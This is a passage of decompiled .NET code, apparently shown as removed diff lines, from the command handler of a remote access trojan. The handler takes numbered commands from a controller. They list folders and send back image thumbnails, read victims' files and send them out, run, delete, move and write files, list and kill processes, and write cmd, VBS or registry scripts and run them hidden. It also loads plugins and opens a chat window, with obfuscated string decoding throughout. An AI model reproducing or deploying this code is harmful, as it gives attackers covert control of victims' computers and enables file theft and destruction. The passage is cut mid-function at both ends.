- // ISSUE: variable of a boxed type
- __Boxed local27 = (ValueType) num18;
- objArray21[0] = (object) local27;
- object[] Arguments3 = objArray20;
- string s3 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance11, Arguments3, (string[]) null));
- string path1 = API.DEB(ref s3);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num18,
- (object) s3
- }, (string[]) null, true, false);
- string str36;
- foreach (string directory in Directory.GetDirectories(path1))
- {
- string str37 = str36;
- string y = IND.Y;
- string Expression = directory;
- Array Instance12 = Instance1;
- object[] objArray22 = new object[1];
- object[] objArray23 = objArray22;
- int num19 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local28 = (ValueType) num19;
- objArray23[0] = (object) local28;
- object[] Arguments4 = objArray22;
- string s4 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance12, Arguments4, (string[]) null));
- string Find = API.DEB(ref s4);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num19,
- (object) s4
- }, (string[]) null, true, false);
- string s5 = Strings.Replace(Expression, Find, "") + "*DIR";
- string str38 = API.ENB(ref s5);
- str36 = str37 + y + str38;
- }
- string[] strArray5 = new string[5]
- {
- "png",
- "jpg",
- "jpeg",
- "bmp",
- "ico"
- };
- Array Instance13 = Instance1;
- object[] objArray24 = new object[1];
- object[] objArray25 = objArray24;
- int num20 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local29 = (ValueType) num20;
- objArray25[0] = (object) local29;
- object[] Arguments5 = objArray24;
- string s6 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance13, Arguments5, (string[]) null));
- string path2 = API.DEB(ref s6);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num20,
- (object) s6
- }, (string[]) null, true, false);
- foreach (string file in Directory.GetFiles(path2))
- {
- bool flag;
- foreach (string str39 in strArray5)
- {
- if (Operators.CompareString(str39.ToLower(), Strings.Split(file, ".")[Strings.Split(file, ".").Length - 1].ToLower(), false) == 0)
- {
- flag = true;
- break;
- }
- }
- string s7;
- if (flag)
- {
- try
- {
- Image image = Image.FromFile(file);
- MemoryStream memoryStream = new MemoryStream();
- EncoderParameters encoderParams = new EncoderParameters(1);
- encoderParams.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 40L);
- ImageCodecInfo encoderInfo = sc.GetEncoderInfo("image/jpeg");
- image.GetThumbnailImage(20, 20, (Image.GetThumbnailImageAbort) null, IntPtr.Zero).Save((Stream) memoryStream, encoderInfo, encoderParams);
- string str40 = str36;
- string y = IND.Y;
- string[] strArray6 = new string[5];
- string[] strArray7 = strArray6;
- string Expression = file;
- Array Instance14 = Instance1;
- object[] objArray26 = new object[1];
- object[] objArray27 = objArray26;
- int num21 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local30 = (ValueType) num21;
- objArray27[0] = (object) local30;
- object[] Arguments6 = objArray26;
- string s8 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance14, Arguments6, (string[]) null));
- string Find = API.DEB(ref s8);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num21,
- (object) s8
- }, (string[]) null, true, false);
- string str41 = Strings.Replace(Expression, Find, "");
- strArray7[0] = str41;
- strArray6[1] = "*";
- strArray6[2] = Conversions.ToString(FileSystem.FileLen(file));
- strArray6[3] = "*";
- strArray6[4] = API.FEN(memoryStream.ToArray());
- s7 = string.Concat(strArray6);
- string str42 = API.ENB(ref s7);
- str36 = str40 + y + str42;
- memoryStream.Dispose();
- encoderParams.Dispose();
- image.Dispose();
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- string str43 = str36;
- string y = IND.Y;
- string Expression = file;
- Array Instance15 = Instance1;
- object[] objArray28 = new object[1];
- object[] objArray29 = objArray28;
- int num22 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local31 = (ValueType) num22;
- objArray29[0] = (object) local31;
- object[] Arguments7 = objArray28;
- string s9 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance15, Arguments7, (string[]) null));
- string Find = API.DEB(ref s9);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num22,
- (object) s9
- }, (string[]) null, true, false);
- string s10 = Strings.Replace(Expression, Find, "") + "*" + Conversions.ToString(FileSystem.FileLen(file));
- string str44 = API.ENB(ref s10);
- str36 = str43 + y + str44;
- ProjectData.ClearProjectError();
- }
- }
- else
- {
- string str45 = str36;
- string y = IND.Y;
- string Expression = file;
- Array Instance16 = Instance1;
- object[] objArray30 = new object[1];
- object[] objArray31 = objArray30;
- int num23 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local32 = (ValueType) num23;
- objArray31[0] = (object) local32;
- object[] Arguments8 = objArray30;
- string s11 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance16, Arguments8, (string[]) null));
- string Find = API.DEB(ref s11);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num23,
- (object) s11
- }, (string[]) null, true, false);
- s7 = Strings.Replace(Expression, Find, "") + "*" + Conversions.ToString(FileSystem.FileLen(file));
- string str46 = API.ENB(ref s7);
- str36 = str45 + y + str46;
- }
- }
- B b = MyProject.Forms.B;
- string str47 = "#9" + str36;
- ref string local33 = ref str47;
- b.SEND(ref local33);
- }
- else if (Operators.CompareString(Left1, "#11", false) == 0)
- {
- IND.ER = 1;
- int num24 = Instance1.Length - 1;
- for (int index = 1; index <= num24; ++index)
- {
- try
- {
- string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) index
- }, (string[]) null));
- string fileName = API.DEB(ref s);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) index,
- (object) s
- }, (string[]) null, true, false);
- Process.Start(fileName);
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- }
- }
- else if (Operators.CompareString(Left1, "#12", false) == 0)
- {
- IND.ER = 1;
- Array Instance17 = Instance1;
- object[] objArray32 = new object[1];
- object[] objArray33 = objArray32;
- int num25 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num25;
- objArray33[0] = (object) local;
- object[] Arguments = objArray32;
- string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance17, Arguments, (string[]) null));
- string Expression = API.DEB(ref s);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num25,
- (object) s
- }, (string[]) null, true, false);
- Array Instance18 = (Array) Strings.Split(Expression, "\r\n");
- if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance18, new object[1]
- {
- (object) 3
- }, (string[]) null), (object) "DIR", false))
- MyProject.Computer.FileSystem.RenameDirectory(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance18, new object[1]
- {
- (object) 0
- }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance18, new object[1]
- {
- (object) 1
- }, (string[]) null))), "\\\\", "\\"), Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance18, new object[1]
- {
- (object) 2
- }, (string[]) null)));
- else
- MyProject.Computer.FileSystem.RenameFile(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance18, new object[1]
- {
- (object) 0
- }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance18, new object[1]
- {
- (object) 1
- }, (string[]) null))), "\\\\", "\\"), Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance18, new object[1]
- {
- (object) 2
- }, (string[]) null)));
- }
- else if (Operators.CompareString(Left1, "#13", false) == 0)
- {
- IND.ER = 1;
- int num26 = Instance1.Length - 1;
- for (int index = 1; index <= num26; ++index)
- {
- string s12 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) index
- }, (string[]) null));
- string path3 = API.DEB(ref s12);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) index,
- (object) s12
- }, (string[]) null, true, false);
- if (Directory.Exists(path3))
- {
- try
- {
- string s13 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) index
- }, (string[]) null));
- string path4 = API.DEB(ref s13);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) index,
- (object) s13
- }, (string[]) null, true, false);
- Directory.Delete(path4, true);
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- }
- else
- {
- try
- {
- string s14 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) index
- }, (string[]) null));
- string path5 = API.DEB(ref s14);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) index,
- (object) s14
- }, (string[]) null, true, false);
- File.Delete(path5);
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- }
- }
- }
- else if (Operators.CompareString(Left1, "#14", false) == 0)
- {
- IND.ER = 1;
- Array Instance19 = Instance1;
- object[] objArray34 = new object[1];
- object[] objArray35 = objArray34;
- int num27 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num27;
- objArray35[0] = (object) local;
- object[] Arguments = objArray34;
- string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance19, Arguments, (string[]) null));
- string Path = API.DEB(ref s);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num27,
- (object) s
- }, (string[]) null, true, false);
- FileSystem.MkDir(Path);
- }
- else if (Operators.CompareString(Left1, "#15", false) == 0)
- {
- IND.ER = 1;
- int num28 = Instance1.Length - 1;
- for (int index = 1; index <= num28; ++index)
- {
- string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) index
- }, (string[]) null));
- string Expression = API.DEB(ref s);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) index,
- (object) s
- }, (string[]) null, true, false);
- Array Instance20 = (Array) Strings.Split(Expression, "\r\n");
- if (Directory.Exists(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1]
- {
- (object) 0
- }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1]
- {
- (object) 1
- }, (string[]) null))), "\\\\", "\\")))
- Directory.Move(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1]
- {
- (object) 0
- }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1]
- {
- (object) 1
- }, (string[]) null))), "\\\\", "\\"), Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1]
- {
- (object) 2
- }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1]
- {
- (object) 1
- }, (string[]) null))), "\\\\", "\\"));
- else
- File.Move(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1]
- {
- (object) 0
- }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1]
- {
- (object) 1
- }, (string[]) null))), "\\\\", "\\"), Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1]
- {
- (object) 2
- }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1]
- {
- (object) 1
- }, (string[]) null))), "\\\\", "\\"));
- }
- }
- else if (Operators.CompareString(Left1, "#16", false) == 0)
- {
- IND.ER = 1;
- B b = MyProject.Forms.B;
- string str48 = "#11" + IND.Y;
- Array Instance21 = Instance1;
- object[] objArray36 = new object[1];
- object[] objArray37 = objArray36;
- int num29 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local34 = (ValueType) num29;
- objArray37[0] = (object) local34;
- object[] Arguments = objArray36;
- string s15 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance21, Arguments, (string[]) null));
- string path = API.DEB(ref s15);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num29,
- (object) s15
- }, (string[]) null, true, false);
- string s16 = File.ReadAllText(path);
- string str49 = API.ENB(ref s16);
- string str50 = Conversions.ToString(Operators.ConcatenateObject((object) (str48 + str49 + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 2
- }, (string[]) null)));
- ref string local35 = ref str50;
- b.SEND(ref local35);
- }
- else if (Operators.CompareString(Left1, "#17", false) == 0)
- {
- IND.ER = 1;
- Array Instance22 = Instance1;
- object[] objArray38 = new object[1];
- object[] objArray39 = objArray38;
- int num30 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local36 = (ValueType) num30;
- objArray39[0] = (object) local36;
- object[] Arguments9 = objArray38;
- string s17 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance22, Arguments9, (string[]) null));
- string path = API.DEB(ref s17);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num30,
- (object) s17
- }, (string[]) null, true, false);
- Array Instance23 = Instance1;
- object[] objArray40 = new object[1];
- object[] objArray41 = objArray40;
- int num31 = 2;
- // ISSUE: variable of a boxed type
- __Boxed local37 = (ValueType) num31;
- objArray41[0] = (object) local37;
- object[] Arguments10 = objArray40;
- string s18 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance23, Arguments10, (string[]) null));
- string contents = API.DEB(ref s18);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num31,
- (object) s18
- }, (string[]) null, true, false);
- File.WriteAllText(path, contents);
- }
- else if (Operators.CompareString(Left1, "#18", false) == 0)
- {
- IND.ER = 1;
- Array Instance24 = Instance1;
- object[] objArray42 = new object[1];
- object[] objArray43 = objArray42;
- int num32 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num32;
- objArray43[0] = (object) local;
- object[] Arguments = objArray42;
- string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance24, Arguments, (string[]) null));
- string path = API.DEB(ref s);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num32,
- (object) s
- }, (string[]) null, true, false);
- File.Create(path);
- }
- else if (Operators.CompareString(Left1, "#19", false) == 0)
- {
- IND.ER = 1;
- MemoryStream memoryStream = new MemoryStream();
- int num33 = Strings.InStr(str1, Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null))) + NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null).ToString().Length + IND.Y.Length - 1;
- int num34 = Da.Length - 1;
- for (int index = num33; index <= num34; ++index)
- memoryStream.WriteByte(Da[index]);
- Array Instance25 = Instance1;
- object[] objArray44 = new object[1];
- object[] objArray45 = objArray44;
- int num35 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local38 = (ValueType) num35;
- objArray45[0] = (object) local38;
- object[] Arguments = objArray44;
- string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance25, Arguments, (string[]) null));
- string path = API.DEB(ref s);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num35,
- (object) s
- }, (string[]) null, true, false);
- byte[] array = memoryStream.ToArray();
- bool flag = false;
- ref bool local39 = ref flag;
- byte[] bytes = API.ZIP(array, ref local39);
- File.WriteAllBytes(path, bytes);
- }
- else if (Operators.CompareString(Left1, "#20", false) == 0)
- {
- IND.ER = 1;
- Array Instance26 = Instance1;
- object[] objArray46 = new object[1];
- object[] objArray47 = objArray46;
- int num36 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local40 = (ValueType) num36;
- objArray47[0] = (object) local40;
- object[] Arguments11 = objArray46;
- string s19 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance26, Arguments11, (string[]) null));
- string Expression = API.DEB(ref s19);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num36,
- (object) s19
- }, (string[]) null, true, false);
- Array Instance27 = (Array) Strings.Split(Expression, "\\");
- MemoryStream memoryStream = new MemoryStream();
- byte[] buffer1 = (byte[]) NewLateBinding.LateGet((object) Encoding.Default, (System.Type) null, "GetBytes", new object[1]
- {
- Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("#12" + IND.Y), NewLateBinding.LateIndexGet((object) Instance27, new object[1]
- {
- (object) (Instance27.Length - 1)
- }, (string[]) null)), (object) IND.Y)
- }, (string[]) null, (System.Type[]) null, (bool[]) null);
- memoryStream.Write(buffer1, 0, buffer1.Length);
- Array Instance28 = Instance1;
- object[] objArray48 = new object[1];
- object[] objArray49 = objArray48;
- int num37 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local41 = (ValueType) num37;
- objArray49[0] = (object) local41;
- object[] Arguments12 = objArray48;
- string s20 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance28, Arguments12, (string[]) null));
- string path = API.DEB(ref s20);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num37,
- (object) s20
- }, (string[]) null, true, false);
- byte[] Byt = File.ReadAllBytes(path);
- bool flag = true;
- ref bool local42 = ref flag;
- byte[] buffer2 = API.ZIP(Byt, ref local42);
- memoryStream.Write(buffer2, 0, buffer2.Length);
- MyProject.Forms.B.WC.SendData(memoryStream.ToArray());
- memoryStream.Dispose();
- }
- else if (Operators.CompareString(Left1, "#21", false) == 0)
- {
- IND.ER = 1;
- int num38 = Instance1.Length - 1;
- for (int index = 1; index <= num38; ++index)
- {
- Thread.Sleep(10);
- string s21 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) index
- }, (string[]) null));
- string filename = API.DEB(ref s21);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) index,
- (object) s21
- }, (string[]) null, true, false);
- new Bitmap(filename).Dispose();
- string s22 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) index
- }, (string[]) null));
- string Expression = API.DEB(ref s22);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) index,
- (object) s22
- }, (string[]) null, true, false);
- Array Instance29 = (Array) Strings.Split(Expression, "\\");
- B b = MyProject.Forms.B;
- string[] strArray8 = new string[5]
- {
- "#13",
- IND.Y,
- null,
- null,
- null
- };
- string[] strArray9 = strArray8;
- Array Instance30 = Instance29;
- object[] objArray50 = new object[1];
- object[] objArray51 = objArray50;
- int num39 = Instance29.Length - 1;
- // ISSUE: variable of a boxed type
- __Boxed local43 = (ValueType) num39;
- objArray51[0] = (object) local43;
- object[] Arguments = objArray50;
- string s23 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance30, Arguments, (string[]) null));
- string str51 = API.ENB(ref s23);
- NewLateBinding.LateIndexSetComplex((object) Instance29, new object[2]
- {
- (object) num39,
- (object) s23
- }, (string[]) null, true, false);
- strArray9[2] = str51;
- strArray8[3] = IND.Y;
- string[] strArray10 = strArray8;
- string s24 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) index
- }, (string[]) null));
- string path = API.DEB(ref s24);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) index,
- (object) s24
- }, (string[]) null, true, false);
- string str52 = API.FEN(File.ReadAllBytes(path));
- strArray10[4] = str52;
- string str53 = string.Concat(strArray8);
- ref string local44 = ref str53;
- b.SEND(ref local44);
- }
- }
- else if (Operators.CompareString(Left1, "#22", false) == 0)
- {
- IND.ER = 1;
- string str54;
- foreach (Process process in Process.GetProcesses())
- {
- try
- {
- str54 = str54 + IND.Y + process.MainModule.ModuleName + "*" + Conversions.ToString(process.Id);
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- str54 = str54 + IND.Y + process.ProcessName + "*" + Conversions.ToString(process.Id);
- ProjectData.ClearProjectError();
- }
- }
- B b = MyProject.Forms.B;
- string str55 = "#14" + str54;
- ref string local = ref str55;
- b.SEND(ref local);
- }
- else if (Operators.CompareString(Left1, "#23", false) == 0)
- {
- IND.ER = 1;
- int num40 = Instance1.Length - 1;
- for (int index = 1; index <= num40; ++index)
- Process.GetProcessById(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) index
- }, (string[]) null))).Kill();
- }
- else if (Operators.CompareString(Left1, "#24", false) == 0)
- {
- try
- {
- chat.clos = true;
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- Thread.Sleep(100);
- Array Instance31 = Instance1;
- object[] objArray52 = new object[1];
- object[] objArray53 = objArray52;
- int num41 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num41;
- objArray53[0] = (object) local;
- object[] Arguments = objArray52;
- string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance31, Arguments, (string[]) null));
- string str56 = API.DEB(ref s);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num41,
- (object) s
- }, (string[]) null, true, false);
- B.Cht = str56;
- }
- else if (Operators.CompareString(Left1, "#25", false) == 0)
- {
- IND.ER = 0;
- if (B.Chat.InvokeRequired)
- {
- IND.indd method = new IND.indd(IND.inddd);
- Array Instance32 = Instance1;
- object[] objArray54 = new object[1];
- object[] objArray55 = objArray54;
- int num42 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num42;
- objArray55[0] = (object) local;
- object[] Arguments = objArray54;
- string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance32, Arguments, (string[]) null));
- string str57 = API.DEB(ref s);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num42,
- (object) s
- }, (string[]) null, true, false);
- string str58 = str57;
- B.Chat.Invoke((Delegate) method, (object) str58);
- }
- else
- {
- RichTextBox t1 = B.Chat.T1;
- RichTextBox richTextBox = t1;
- string[] strArray11 = new string[5]
- {
- t1.Text,
- MyProject.Forms.chat.nick,
- " : ",
- null,
- null
- };
- string[] strArray12 = strArray11;
- Array Instance33 = Instance1;
- object[] objArray56 = new object[1];
- object[] objArray57 = objArray56;
- int num43 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num43;
- objArray57[0] = (object) local;
- object[] Arguments = objArray56;
- string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance33, Arguments, (string[]) null));
- string str59 = API.DEB(ref s);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num43,
- (object) s
- }, (string[]) null, true, false);
- strArray12[3] = str59;
- strArray11[4] = "\r\n";
- string str60 = string.Concat(strArray11);
- richTextBox.Text = str60;
- }
- }
- else if (Operators.CompareString(Left1, "#26", false) == 0)
- {
- IND.ER = 0;
- chat.clos = true;
- }
- else if (Operators.CompareString(Left1, "#27", false) == 0)
- {
- IND.ER = 1;
- int num44 = 0;
- string s25;
- do
- {
- if (!File.Exists(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num44) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null)))))
- {
- s25 = Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num44) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null)));
- break;
- }
- try
- {
- FileSystem.Kill(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num44) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null))));
- s25 = Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num44) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null)));
- break;
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- ++num44;
- }
- while (num44 <= 9999);
- string lower = NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null).ToString().ToLower();
- if (Operators.CompareString(lower, "cmd", false) == 0)
- {
- string path = s25;
- Array Instance34 = Instance1;
- object[] objArray58 = new object[1];
- object[] objArray59 = objArray58;
- int num45 = 2;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num45;
- objArray59[0] = (object) local;
- object[] Arguments = objArray58;
- string s26 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance34, Arguments, (string[]) null));
- string contents = API.DEB(ref s26);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num45,
- (object) s26
- }, (string[]) null, true, false);
- File.WriteAllText(path, contents);
- Interaction.Shell(s25, AppWinStyle.Hide);
- }
- else if (Operators.CompareString(lower, "vbs", false) == 0)
- {
- string path = s25;
- Array Instance35 = Instance1;
- object[] objArray60 = new object[1];
- object[] objArray61 = objArray60;
- int num46 = 2;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num46;
- objArray61[0] = (object) local;
- object[] Arguments = objArray60;
- string s27 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance35, Arguments, (string[]) null));
- string contents = API.DEB(ref s27);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num46,
- (object) s27
- }, (string[]) null, true, false);
- File.WriteAllText(path, contents);
- Process.Start(s25);
- }
- else if (Operators.CompareString(lower, "Reg", false) == 0)
- {
- string path = s25;
- Array Instance36 = Instance1;
- object[] objArray62 = new object[1];
- object[] objArray63 = objArray62;
- int num47 = 2;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num47;
- objArray63[0] = (object) local;
- object[] Arguments = objArray62;
- string s28 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance36, Arguments, (string[]) null));
- string contents = API.DEB(ref s28);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num47,
- (object) s28
- }, (string[]) null, true, false);
- File.WriteAllText(path, contents);
- Interaction.Shell(s25);
- }
- else
- {
- string path = s25;
- Array Instance37 = Instance1;
- object[] objArray64 = new object[1];
- object[] objArray65 = objArray64;
- int num48 = 2;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num48;
- objArray65[0] = (object) local;
- object[] Arguments = objArray64;
- string s29 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance37, Arguments, (string[]) null));
- string contents = API.DEB(ref s29);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num48,
- (object) s29
- }, (string[]) null, true, false);
- File.WriteAllText(path, contents);
- Process.Start(s25);
- }
- B b = MyProject.Forms.B;
- string str61 = "#10" + IND.Y + "^" + Conversions.ToString(4) + IND.Y + API.ENB(ref s25);
- ref string local45 = ref str61;
- b.SEND(ref local45);
- }
- else if (Operators.CompareString(Left1, "#28", false) == 0)
- {
- IND.ER = 1;
- object Left3 = NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null);
- if (Operators.ConditionalCompareObjectEqual(Left3, (object) "!", false))
- {
- B b = MyProject.Forms.B;
- string y = IND.Y;
- ref byte[] local46 = ref C.Plug;
- string str62 = "plugin.C";
- ref string local47 = ref str62;
- string str63 = "W";
- ref string local48 = ref str63;
- object obj = (object) new object[0];
- ref object local49 = ref obj;
- string s = Conversions.ToString(C.inv(ref local46, ref local47, ref local48, ref local49));
- string str64 = API.ENB(ref s);
- string str65 = "#17" + y + str64;
- ref string local50 = ref str65;
- b.SEND(ref local50);
- }
- else if (Operators.ConditionalCompareObjectEqual(Left3, (object) "@", false))
- {
- int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 2
- }, (string[]) null));
- ref byte[] local51 = ref C.Plug;
- string str66 = "plugin.C";
- ref string local52 = ref str66;
- string str67 = "CW";
- ref string local53 = ref str67;
- object[] objArray66 = new object[2]
- {
- (object) integer,
- null
- };
- object[] objArray67 = objArray66;
- Array Instance38 = Instance1;
- object[] objArray68 = new object[1];
- object[] objArray69 = objArray68;
- int num49 = 3;
- // ISSUE: variable of a boxed type
- __Boxed local54 = (ValueType) num49;
- objArray69[0] = (object) local54;
- object[] Arguments = objArray68;
- string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance38, Arguments, (string[]) null));
- string str68 = API.DEB(ref s);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num49,
- (object) s
- }, (string[]) null, true, false);
- objArray67[1] = (object) str68;
- object obj = (object) objArray66;
- ref object local55 = ref obj;
- C.inv(ref local51, ref local52, ref local53, ref local55);
- }
- else if (Operators.ConditionalCompareObjectEqual(Left3, (object) "#", false))
- {
- Array Instance39 = Instance1;
- object[] objArray70 = new object[1];
- object[] objArray71 = objArray70;
- int num50 = 2;
- // ISSUE: variable of a boxed type
- __Boxed local56 = (ValueType) num50;
- objArray71[0] = (object) local56;
